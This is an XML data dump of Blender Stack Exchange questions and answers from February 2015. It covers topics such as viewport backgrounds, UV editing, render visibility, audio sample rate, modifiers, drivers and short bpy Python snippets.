  <row Id="26035" PostTypeId="1" AcceptedAnswerId="26036" CreationDate="2015-02-19T17:34:05.140" Score="4" ViewCount="644" Body="&lt;p&gt;I have a skytexture set up. How do I make this the viewport background?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use Blender 2.72 and cycles.&lt;/p&gt;&#xA;" OwnerUserId="3247" LastActivityDate="2015-02-19T17:37:21.950" Title="How to add skytexture to viewport background?" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;customization&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26036" PostTypeId="2" ParentId="26035" CreationDate="2015-02-19T17:37:21.950" Score="6" Body="&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.73/UI#World_Background&quot; rel=&quot;nofollow noreferrer&quot;&gt;As of 2.73&lt;/a&gt;, you can do this by enabling &lt;em&gt;World Background&lt;/em&gt; in &lt;em&gt;3D view &gt; Properties panel (&lt;kbd&gt;N&lt;/kbd&gt;) &gt; Display&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fmfVe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-02-19T17:37:21.950" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26037" PostTypeId="1" AcceptedAnswerId="26040" CreationDate="2015-02-19T17:52:30.897" Score="6" ViewCount="8241" Body="&lt;p&gt;I try to make a UV map for my object that fits the form of an already existing UV map. I manually positioning the outer edge of the map so it matches the existing map. But the innards are not in good shape.&lt;br&gt;&#xA;Now I want to select one of the loops and make the vertices have all the same space between them. I tried to use Looptools but they are not available in UV Image Editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How can it be done automatically to even out the spacing of all the inner vertices on a selected loop?&lt;/strong&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/s8Ld0.png&quot; alt=&quot;vertices of the UV map to evenly distribute&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12689" LastEditorUserId="2217" LastEditDate="2015-02-19T17:58:37.620" LastActivityDate="2019-07-05T17:44:51.297" Title="How to evenly distribute vertices in an uv map?" Tags="&lt;uv&gt;&lt;transforms&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26038" PostTypeId="1" AcceptedAnswerId="26039" CreationDate="2015-02-19T17:52:54.680" Score="5" ViewCount="1529" Body="&lt;p&gt;I'm new to Blender, so not sure of the terminology.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm having a problem/misunderstanding with Blender 2.73, using the &quot;Cycles Render&quot; engine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I render a single frame to a .png file, I am seeing a model with missing detail compared to the Camera view in render mode.  I've looked through and experimented with the setting in the render property sheet, but cannot seem to bring the detail back.  Below are the images:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rendered Image:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/MtFf2.png&quot; alt=&quot;Rendered Output Image&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Camera View (rendered):&#xA;&lt;img src=&quot;https://i.stack.imgur.com/N4k1N.png&quot; alt=&quot;Camera Rendered View&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Original Solid View:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/4XBPw.png&quot; alt=&quot;Solid VIew&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd be grateful if anyone can point me in the right direction.  I'm not sure what additional settings I'd need to share.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&#xA;Andrew&lt;/p&gt;&#xA;" OwnerUserId="12688" LastActivityDate="2015-02-19T18:01:13.657" Title="Cycles Render does not reflect camera view" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;camera&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26039" PostTypeId="2" ParentId="26038" CreationDate="2015-02-19T18:01:13.657" Score="5" Body="&lt;p&gt;The visibility setting is different for viewport an render, check if the visibility is setup correctly for all objects&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2r9VZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This also applies for modifiers, so if that din't help check that also.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-02-19T18:01:13.657" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26040" PostTypeId="2" ParentId="26037" CreationDate="2015-02-19T18:06:16.820" Score="9" Body="&lt;p&gt;Select the loop and enable the Sculpt tool:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4EGEc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With holding &lt;kbd&gt;Shift&lt;/kbd&gt; smooth the selected vertices. This will space them evenly:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure the sculpt brush has Lock Borders enabled:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/m4S2w.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2015-02-20T08:45:29.220" LastActivityDate="2015-02-20T08:45:29.220" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="26041" PostTypeId="2" ParentId="26034" CreationDate="2015-02-19T18:08:39.540" Score="2" Body="&lt;p&gt;To switch two points on a graph select them and press &lt;kbd&gt;S&lt;/kbd&gt; &lt;kbd&gt;X&lt;/kbd&gt; &lt;kbd&gt;-&lt;/kbd&gt;&lt;kbd&gt;1&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And to scale to 0 (as pointed out by @gandalf3)  &lt;kbd&gt;S&lt;/kbd&gt; &lt;kbd&gt;Y&lt;/kbd&gt; &lt;kbd&gt;0&lt;/kbd&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/LaEXe.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-02-19T18:08:39.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26042" PostTypeId="1" AcceptedAnswerId="26043" CreationDate="2015-02-19T18:29:43.983" Score="7" ViewCount="1091" Body="&lt;p&gt;I'm using Blender (v2.72) to do some video editing. I record some voice audio at 96kHz and then drop it into the VSE to sync the audio to the scene. Once I make my cuts, I render just the audio to do further post processing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every time I render only the audio, it keeps coming out as 44.1kHZ. I want it to be exported as 96kHz. So how do I do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I go into User Preferences, I have the following selected:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;OpenAL &lt;/li&gt;&#xA;&lt;li&gt;Channels: Stereo &lt;/li&gt;&#xA;&lt;li&gt;Mixing Buffer: 4096 &lt;/li&gt;&#xA;&lt;li&gt;Sample Rate: 96kHz Sample&lt;/li&gt;&#xA;&lt;li&gt;Format: 24bit Signed.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5122" LastEditorDisplayName="user1853" LastEditDate="2017-02-07T03:52:52.430" LastActivityDate="2017-02-07T03:54:15.493" Title="How can I set the sample rate for Audio?" Tags="&lt;audio&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26043" PostTypeId="2" ParentId="26042" CreationDate="2015-02-19T18:39:28.707" Score="8" Body="&lt;p&gt;The control for audio Sample Rate is in Scene settings&gt;Audio&gt;Rate:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rtpqq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2017-02-07T03:54:15.493" LastActivityDate="2017-02-07T03:54:15.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26045" PostTypeId="1" AcceptedAnswerId="26378" CreationDate="2015-02-19T19:48:39.277" Score="3" ViewCount="3999" Body="&lt;p&gt;So to simplify things lets just say I have a cannon object that does a 360 when it shoots and a cannonball object that flies out. I need to export this file as an fbx so what I need is one animation since it will be controlled via a script. I have learned to make animations for fbx files using something called the action editor in Blender. I name the animation there, click the F which I believe stands for fake user, and export it to Unity without a problem. The problem is that those have always been rigged characters that have every part connected. Now I have been trying to do this with separate objects but when I try to use one animation they get all screwed up. I have also tried parenting the objects to each other without changing the transform.&lt;/p&gt;&#xA;" OwnerUserId="3109" LastEditorUserId="3109" LastEditDate="2015-02-19T21:50:38.063" LastActivityDate="2017-05-26T10:01:33.760" Title="Is it possible to animate 2 separate objects with 1 action animation?" Tags="&lt;animation&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26048" PostTypeId="2" ParentId="26023" CreationDate="2015-02-19T23:36:49.150" Score="18" Body="&lt;p&gt;You can achieve something similar using a combination of &lt;strong&gt;lattice&lt;/strong&gt; deform and &lt;strong&gt;shwrinkwrap&lt;/strong&gt; deform modifiers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say you have an object like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2H9dm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And you want to deform it on a surface like this plane:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PD8bG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to create something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AYoOd.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can create a lattice that that has only one segment on the W axis and that is scaled to the size of your terrain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rsaoy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/T4t9u.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the original object and add a Lattice Deform Modifier to it, selecting the lattice as the controlling object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/suLCz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then select the lattice object and add a shwrinkwrap deform modifier to it. Select the Target (plane), Set it to &lt;em&gt;project&lt;/em&gt; mode and select the correct axis for the deformation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Z9Akq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-02-19T23:52:46.287" LastActivityDate="2015-02-19T23:52:46.287" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26050" PostTypeId="1" CreationDate="2015-02-20T00:05:07.357" Score="2" ViewCount="496" Body="&lt;p&gt;I am trying to achieve the following &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?280367-NURBS-Circle-Pringles-chip-merging-the-circle&amp;amp;p=2296687&amp;amp;viewfull=1#post2296687&quot; rel=&quot;nofollow&quot;&gt;post&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see doing this two ways.&#xA;Create a large circle and small circle and fill the inbetween.&#xA;Perform the same steps as the GUI programmatically, create NURBS Circle Surface, and  extrude into a smaller circle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best way to do this? Do the vectors have to be manually inserted to create a square or is there something in python that will create the nurbs circle surface with radius and origin?&lt;/p&gt;&#xA;" OwnerUserId="12697" LastEditorUserId="2217" LastEditDate="2015-02-20T00:13:49.330" LastActivityDate="2015-02-20T00:13:49.330" Title="Create a Nurbs Circle Surface using python" Tags="&lt;python&gt;&lt;scripting&gt;&lt;nurbs-surface&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26052" PostTypeId="2" ParentId="26011" CreationDate="2015-02-20T03:59:03.700" Score="0" Body="&lt;p&gt;to reverse the hand direction set the sensitivity to -1.0 :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3a7ch.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;also pay attention to the local/global axis you are using ,the camera was turning in the right direction because you used the local axis while the hand local axis are not in the right orientation&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-02-20T03:59:03.700" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="26053" PostTypeId="1" AcceptedAnswerId="26060" CreationDate="2015-02-20T05:28:36.000" Score="3" ViewCount="1935" Body="&lt;p&gt;During edit mode, how do I get the coordinates of the median pivot point (position of the transform manipulator) using python?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This information is shown in the Transform panel of the properties sidebar in  the 3d view.&lt;/p&gt;&#xA;" OwnerUserId="2533" LastEditorUserId="2533" LastEditDate="2015-02-20T07:13:32.240" LastActivityDate="2015-02-20T10:49:05.293" Title="Get the selected median point in python?" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26054" PostTypeId="2" ParentId="26025" CreationDate="2015-02-20T08:36:15.043" Score="2" Body="&lt;p&gt;You could try to emit the particles from faces and switch from &lt;em&gt;Jittered&lt;/em&gt; to &lt;em&gt;Grid&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TnMij.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2015-02-20T08:36:15.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26055" PostTypeId="1" CreationDate="2015-02-20T09:58:22.643" Score="3" ViewCount="627" Body="&lt;p&gt;I am struggling to create onyx kind of material, if somebody can help me please &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WnhGm.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have created following node graph:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QQ31N.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i am getting such output : &lt;/p&gt;&#xA;" OwnerUserId="12703" LastEditorUserId="3089" LastEditDate="2015-02-20T10:33:16.797" LastActivityDate="2016-03-10T15:13:56.470" Title="How to create Onyx material in Blender Cycles?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;materials&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26056" PostTypeId="1" CreationDate="2015-02-20T10:01:07.517" Score="4" ViewCount="1708" Body="&lt;p&gt;If I have one object hidden behind another, clicking the visible one multiple times in Object mode alternates the selection between the two. Is it possible to turn this behaviour off, and make the selection stick to the visible object regardless of how many times I click it, similar to Limit selection to visible in Edit mode?&lt;/p&gt;&#xA;" OwnerUserId="9525" LastEditorDisplayName="user7952" LastEditDate="2015-02-20T20:50:16.667" LastActivityDate="2015-03-03T03:34:04.113" Title="Limit the selection to the visible object (in object mode)" Tags="&lt;modeling&gt;&lt;selection-tools&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="26060" PostTypeId="2" ParentId="26053" CreationDate="2015-02-20T10:49:05.293" Score="4" Body="&lt;p&gt;You can calculate it quite easy:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from mathutils import Vector&#xA;&#xA;ob = bpy.context.object&#xA;ob.update_from_editmode()&#xA;&#xA;me = ob.data&#xA;verts_sel = [v.co for v in me.vertices if v.select]&#xA;&#xA;pivot = sum(verts_sel, Vector()) / len(verts_sel)&#xA;&#xA;print(&quot;Local:&quot;, pivot)&#xA;print(&quot;Global:&quot;, ob.matrix_world * pivot)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could also use the bmesh module, but the standard API appears to be faster despite the update operation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;from mathutils import Vector&#xA;&#xA;ob = bpy.context.object&#xA;me = ob.data    &#xA;&#xA;bm = bmesh.from_edit_mesh(me)&#xA;verts_sel = [v.co for v in bm.verts if v.select]&#xA;&#xA;pivot = sum(verts_sel, Vector()) / len(verts_sel)&#xA;&#xA;print(&quot;Local:&quot;, pivot)&#xA;print(&quot;Global:&quot;, ob.matrix_world * pivot)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2015-02-20T10:49:05.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26061" PostTypeId="1" AcceptedAnswerId="26245" CreationDate="2015-02-20T12:08:17.037" Score="3" ViewCount="485" Body="&lt;p&gt;Found this example on StackExchange:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foo = &quot;bar&quot;&#xA;exec(foo + &quot; = 'something else'&quot;)&#xA;print(bar)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Should print:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;something else&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Blender (2.73) gives an error that bar is not defined. Can this still be done in Blender?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; This actually works in a blank file. What doesn't work is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class testThis():&#xA;    def printMe(self):&#xA;        foo = &quot;bar&quot;&#xA;        exec(foo + &quot; = 'something else'&quot;)&#xA;        print(bar)&#xA;&#xA;test = testThis()&#xA;test.printMe()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Result:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;NameError: name 'bar' is not defined&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I'm not sure if it's Blender related.&lt;/p&gt;&#xA;" OwnerUserId="8235" LastEditorUserId="8235" LastEditDate="2015-02-20T13:47:55.167" LastActivityDate="2015-03-09T09:11:27.437" Title="exec() works differently in Blender?" Tags="&lt;python&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26062" PostTypeId="2" ParentId="26061" CreationDate="2015-02-20T12:17:32.287" Score="2" Body="&lt;p&gt;Official build of Blender come with the latest of Python (&lt;em&gt;3.4.2&lt;/em&gt; as of Blender 2.73); this means that your code cannot compile/be interpreted since, when moving to version 3.0, Python changed &lt;code&gt;print&lt;/code&gt; from a &lt;em&gt;keyword&lt;/em&gt; to a &lt;em&gt;function&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your code should be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foo = &quot;bar&quot;&#xA;exec(foo + &quot; = 'something else'&quot;)&#xA;print(bar) #Print is now a function; must use function call syntax.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3078" LastActivityDate="2015-02-20T12:17:32.287" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="26064" PostTypeId="1" AcceptedAnswerId="26067" CreationDate="2015-02-20T13:48:27.110" Score="1" ViewCount="1599" Body="&lt;p&gt;I chose objects colour, then fixed its value using &lt;code&gt;i&lt;/code&gt; key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Nodfw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the colour property was bind globally for the object. It effects all the object's actions. How can I make colour change for a single action, just like rotation property? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UJgBO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12673" LastActivityDate="2015-02-21T10:00:41.783" Title="How to bind material change to a single animation action?" Tags="&lt;animation&gt;&lt;keyframes&gt;&lt;dopesheet&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2015-02-20T22:56:59.897" ContentLicense="CC BY-SA 3.0" />
  <row Id="26066" PostTypeId="2" ParentId="24285" CreationDate="2015-02-20T15:50:01.810" Score="2" Body="&lt;p&gt;Answering here as well for completeness sake.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue with occlusion is fixed in blender, but the issue with sections having more or less transparency is not&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The cause is that faces of transparent objects in blender are drawn randomly. Due to depth culling, if a front face is rendered first, then all faces behind it will get culled. So randomly, some parts of the mesh will get the face closer to the view rendered first and have the most transparency, while other parts will get more than one face rendered and be more opaque.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To solve this we would need to render faces sorted from back to front, but to keep viewport performance fast in blender, we skip this currently.&lt;/p&gt;&#xA;" OwnerUserId="465" LastActivityDate="2015-02-20T15:50:01.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26067" PostTypeId="2" ParentId="26064" CreationDate="2015-02-20T15:59:15.977" Score="2" Body="&lt;p&gt;You can do it using &lt;strong&gt;&lt;em&gt;Drivers&lt;/em&gt;&lt;/strong&gt;. &#xA;&lt;img src=&quot;https://i.stack.imgur.com/zY8BU.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my case I used a driver to change the intensity of a color.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/YmbEv.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hover the cursor over the intensity slider, press &lt;kbd&gt;RMB&lt;/kbd&gt; and choose the &lt;em&gt;Add Driver&lt;/em&gt; option.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/fNngL.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add an &lt;em&gt;Empty&lt;/em&gt; and place it at the origin point of a &lt;em&gt;Cube&lt;/em&gt;. Parent an &lt;em&gt;Empty&lt;/em&gt; with a &lt;em&gt;Cube&lt;/em&gt; using &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;P&lt;/kbd&gt;--&gt;Set Parent To--&gt;Object (Keep Transform).&#xA;&lt;img src=&quot;https://i.stack.imgur.com/PbjcO.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to &lt;strong&gt;&lt;em&gt;Graph Editor&lt;/em&gt;&lt;/strong&gt; and change the &lt;em&gt;Mode&lt;/em&gt; from &lt;em&gt;F-Curve&lt;/em&gt; to &lt;strong&gt;&lt;em&gt;Drivers&lt;/em&gt;&lt;/strong&gt;.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/P1ld7.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change the &lt;em&gt;Drivers Type&lt;/em&gt; to &lt;strong&gt;&lt;em&gt;Averaged Value&lt;/em&gt;&lt;/strong&gt;.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/OHeL0.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Input the previously added &lt;em&gt;Empty's&lt;/em&gt; name in the &lt;em&gt;Ob/Bone&lt;/em&gt; box as pictured below. This Empty will now control the intensity of the &lt;em&gt;Cube's&lt;/em&gt; color. If the error appear, click the &lt;em&gt;Update Dependencies&lt;/em&gt; button.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/xLs9w.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now specify what kind of the &lt;em&gt;Empty's&lt;/em&gt; action would have the influence on the &lt;em&gt;Cube's&lt;/em&gt; color intensity. I've chosen the &lt;em&gt;Z Rotation&lt;/em&gt;, so anytime I change the Z rotation of an &lt;em&gt;Empty&lt;/em&gt;, the insity of a color will be changed. The other kind of transformations (like translating or scaling) would not have any influence on color's intensity values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KZ3DE.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a &lt;em&gt;Generator Modifier&lt;/em&gt; and play with the highlighted values to make the transition speed of the color's intesity slower or faster. You can also redefine the initial and end values here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CWVhf.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="7797" LastEditDate="2015-02-21T10:00:41.783" LastActivityDate="2015-02-21T10:00:41.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26068" PostTypeId="1" CreationDate="2015-02-20T16:37:15.017" Score="1" ViewCount="6408" Body="&lt;p&gt;I have a rectangle that grid mesh that I want to subdivide, however, all attempts resulted into the subdivided faces being proportional to the rectangle mesh, I would like to be able to have the rectangle mesh be made up of smaller squares, not rectangles; how would I do this? &lt;/p&gt;&#xA;" OwnerUserId="12710" LastActivityDate="2015-02-20T17:05:24.413" Title="How do I make a rectangular mesh subdivided evenly with square faces / quads?" Tags="&lt;mesh&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ClosedDate="2015-02-20T17:26:53.690" ContentLicense="CC BY-SA 3.0" />
  <row Id="26069" PostTypeId="1" CreationDate="2015-02-20T16:48:44.500" Score="1" ViewCount="71" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/db2wk.png&quot; alt=&quot;The fill brush problem&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using a fill brush on my character gives me the above result.  There are no UV points at the origin, and painting the character with a non-fill brush does not give me these results.  Every piece of the character I try to fill leaves me with these streaky lines converging at the image origin.  What could be causing this?&lt;/p&gt;&#xA;" OwnerUserId="12712" LastActivityDate="2015-02-20T16:48:44.500" Title="Fill Brush makes streaky lines to image origin" Tags="&lt;texturing&gt;&lt;uv&gt;&lt;texture-painting&gt;" AnswerCount="0" CommentCount="0" ClosedDate="2015-02-20T22:56:48.940" ContentLicense="CC BY-SA 3.0" />
  <row Id="26070" PostTypeId="1" CreationDate="2015-02-20T16:55:34.853" Score="2" ViewCount="150" Body="&lt;p&gt;I am doing a walk cycle using an imported .mhx file. To do the walk cycle, I animate the legs and hand for the first frame then I paste the inverse in the frame 21 (in my case).&#xA;In the first scenario: I imported the model then I click in the red button and I made the walk cycle without problem (see fig 1 and 2)&#xA;&lt;img src=&quot;https://i.stack.imgur.com/OGXuS.png&quot; alt=&quot;fig1&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/4kAKE.png&quot; alt=&quot;fig2&quot;&gt;&#xA;In the second case: I moved the model in an other place without insert any key frames (I turn off the button red)&#xA;&lt;img src=&quot;https://i.stack.imgur.com/wjob8.png&quot; alt=&quot;fig3&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/pW5hP.png&quot; alt=&quot;fig4&quot;&gt;&#xA;after that I turn on the red button and I apply the same process but I remark that the person flip relative to the x-axis. I did not understand why I did not get the same results? (because I did not insert any key frame when I moved the person!!!)&#xA;&lt;img src=&quot;https://i.stack.imgur.com/2jntI.png&quot; alt=&quot;fig5&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11289" LastActivityDate="2015-02-20T16:55:34.853" Title="Paste flip animation does not give the expected results" Tags="&lt;animation&gt;&lt;blender-internal-render-engine&gt;&lt;nla-editor&gt;&lt;dopesheet&gt;&lt;makehuman&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
